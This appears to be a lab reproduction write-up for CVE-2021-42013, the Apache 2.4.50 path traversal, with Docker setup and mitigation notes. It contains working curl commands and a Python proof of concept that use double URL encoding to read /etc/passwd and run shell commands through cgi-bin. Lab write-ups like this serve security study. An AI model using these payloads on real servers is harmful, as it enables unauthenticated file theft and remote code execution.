CVE-2021-42013

Contributor

• 석은호@eunho87

CVE-2021-42013 Apache HTTP Server Path Traversal

Vulnerability Summary

A bug in the path normalization handling of Apache HTTP Server 2.4.50 allows arbitrary file reading or remote code execution without authentication.

This occurs due to an incomplete patch for CVE-2021-41773, bypassing Apache's path blocking through double URL encoding (%%32%65).

References

• NVD - CVE-2021-42013
• Apache Security Advisory

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Vulnerability Conditions

For CVE-2021-42013 to be exploitable, the following conditions must be met:

1. Apache 2.4.49~2.4.50
2. The Directory directive in httpd.conf is not set to 'Require all denied'
3. mod_cgi module enabled (for RCE)

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Environment Setup

docker-compose up -d

Run the following command to verify the test environment is running:

docker-compose ps

If the server is running normally, you can access http://localhost:8080.

Vulnerability Reproduction

Apache blocks the use of ../ to traverse to parent directories. To bypass this, the encoded value of . can be used instead: 2e. However, Apache 2.4.50 decodes %2e before checking, so %2e2e would be blocked just like ../. Therefore, double encoding with %%32%65 must be used to bypass the filter.

curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"

In a CGI-capable environment, RCE is possible by replacing the last part with /bin/sh.

curl -s --path-as-is -X POST \
  --data "echo Content-Type: text/plain; echo; id; uname -a" \
  "http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"

PoC Code

Python (poc.py)

#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse

def exploit(target_url, mode, arg):
    parsed = urlparse(target_url)
    host = parsed.hostname
    port = parsed.port or 80
    trav = "%%32%65%%32%65/" * 4
    
    if mode == "read":
        path = f"/static/{trav}{arg}"
        conn = http.client.HTTPConnection(host, port, timeout=5)
        conn.request("GET", path)
    else:
        path = f"/cgi-bin/{trav}bin/sh"
        body = f"echo Content-Type: text/plain; echo; {arg}"
        conn = http.client.HTTPConnection(host, port, timeout=5)
        conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
    
    result = conn.getresponse().read().decode("utf-8", "replace")
    conn.close()
    return result

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"사용법: {sys.argv[0]} <url> <read|exec> <arg>")
        sys.exit(1)
    print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))

Mitigation

• Update to Apache 2.4.51 or later
• Keep 'Require all denied'

Cleanup

docker-compose down

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